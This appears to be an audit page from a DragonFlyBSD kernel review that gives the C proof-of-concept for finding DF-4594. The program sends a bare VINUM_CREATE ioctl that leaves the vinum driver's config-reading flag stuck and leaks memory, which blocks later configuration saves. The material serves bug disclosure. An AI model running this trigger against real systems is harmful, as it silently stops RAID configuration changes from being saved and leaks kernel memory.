⬢ DragonFlyBSD Kernel Audit
DF-4594 / stick.c
← back to finding ↓ download raw
/*
 * DF-4594 trigger: issue a bare VINUM_CREATE ioctl carrying a
 * "read <dev>" config line WITHOUT the VINUM_STARTCONFIG /
 * VINUM_RELEASECONFIG wrapper the vinum(8) CLI normally uses.
 *
 * vinum_scandisk() (sys/dev/raid/vinum/vinumio.c:747-753) returns ENOENT
 * early when no vinum drives are found, leaving:
 *   - vinum_conf.flags |= VF_READING_CONFIG  set forever (cleared only by
 *     finish_config(), which the CLI normally calls), and
 *   - the drivelist[] allocation leaked.
 *
 * With VF_READING_CONFIG stuck, the daemon refuses every later
 * daemon_save_config() (sys/dev/raid/vinum/vinumdaemon.c:126), so
 * subsequent configuration changes are never persisted.
 *
 * Usage: ./stick /dev/vn1        (any device with no vinum label)
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>

/* replicated from sys/dev/raid/vinum/vinumio.h (kernel-private header) */
#include <sys/ioccom.h>
#define VINUM_L 'F'
struct vinum_ioctl_reply {
    int error;
    char msg[1024 - sizeof(int)];
};
#define VINUM_CREATE _IOC(IOC_IN | IOC_OUT, VINUM_L, 64, 1024)

int
main(int argc, char **argv)
{
    char buf[1024];
    struct vinum_ioctl_reply *reply = (struct vinum_ioctl_reply *)buf;
    int fd;

    if (argc != 2) {
	fprintf(stderr, "usage: %s <non-vinum-device>\n", argv[0]);
	return 2;
    }
    fd = open("/dev/vinum/control", O_RDWR);
    if (fd < 0) {
	perror("open /dev/vinum/Control (need root, vinum kldloaded)");
	return 1;
    }
    snprintf(buf, sizeof(buf), "read %s", argv[1]);
    if (ioctl(fd, VINUM_CREATE, buf) < 0) {
	perror("ioctl(VINUM_CREATE)");
	close(fd);
	return 1;
    }
    if (reply->error)
	printf("kernel replied: error=%d msg=%s\n", reply->error, reply->msg);
    else
	printf("VINUM_CREATE accepted (scandisk ran; VF_READING_CONFIG now stuck, drivelist leaked)\n");
    close(fd);
    return 0;
}